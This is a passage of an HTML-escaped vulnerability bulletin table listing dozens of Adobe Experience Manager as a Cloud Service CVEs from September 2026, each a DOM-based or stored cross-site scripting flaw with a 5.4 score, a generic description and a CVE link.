&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75639&quot; target=&quot;_blank&quot;&gt;CVE-2026-75639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75640&quot; target=&quot;_blank&quot;&gt;CVE-2026-75640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75642&quot; target=&quot;_blank&quot;&gt;CVE-2026-75642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75643&quot; target=&quot;_blank&quot;&gt;CVE-2026-75643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75644&quot; target=&quot;_blank&quot;&gt;CVE-2026-75644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75646&quot; target=&quot;_blank&quot;&gt;CVE-2026-75646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75647&quot; target=&quot;_blank&quot;&gt;CVE-2026-75647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75651&quot; target=&quot;_blank&quot;&gt;CVE-2026-75651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75652&quot; target=&quot;_blank&quot;&gt;CVE-2026-75652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75657&quot; target=&quot;_blank&quot;&gt;CVE-2026-75657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75659&quot; target=&quot;_blank&quot;&gt;CVE-2026-75659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75660&quot; target=&quot;_blank&quot;&gt;CVE-2026-75660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75661&quot; target=&quot;_blank&quot;&gt;CVE-2026-75661&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75666&quot; target=&quot;_blank&quot;&gt;CVE-2026-75666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75667&quot; target=&quot;_blank&quot;&gt;CVE-2026-75667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75668&quot; target=&quot;_blank&quot;&gt;CVE-2026-75668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75669&quot; target=&quot;_blank&quot;&gt;CVE-2026-75669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75670&quot; target=&quot;_blank&quot;&gt;CVE-2026-75670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75671&quot; target=&quot;_blank&quot;&gt;CVE-2026-75671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75672&quot; target=&quot;_blank&quot;&gt;CVE-2026-75672&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75674&quot; target=&quot;_blank&quot;&gt;CVE-2026-75674&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75675&quot; target=&quot;_blank&quot;&gt;CVE-2026-75675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75677&quot; target=&quot;_blank&quot;&gt;CVE-2026-75677&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75678&quot; target=&quot;_blank&quot;&gt;CVE-2026-75678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75679&quot; target=&quot;_blank&quot;&gt;CVE-2026-75679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75680&quot; target=&quot;_blank&quot;&gt;CVE-2026-75680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75681&quot; target=&quot;_blank&quot;&gt;CVE-2026-75681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75683&quot; target=&quot;_blank&quot;&gt;CVE-2026-75683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75685&quot; target=&quot;_blank&quot;&gt;CVE-2026-75685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75687&quot; target=&quot;_blank&quot;&gt;CVE-2026-75687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75690&quot; target=&quot;_blank&quot;&gt;CVE-2026-75690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75691&quot; target=&quot;_blank&quot;&gt;CVE-2026-75691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75692&quot; target=&quot;_blank&quot;&gt;CVE-2026-75692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75693&quot; target=&quot;_blank&quot;&gt;CVE-2026-75693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75694&quot; target=&quot;_blank&quot;&gt;CVE-2026-75694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75695&quot; target=&quot;_blank&quot;&gt;CVE-2026-75695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75696&quot; target=&quot;_blank&quot;&gt;CVE-2026-75696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75700&quot; target=&quot;_blank&quot;&gt;CVE-2026-75700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75701&quot; target=&quot;_blank&quot;&gt;CVE-2026-75701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75702&quot; target=&quot;_blank&quot;&gt;CVE-2026-75702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
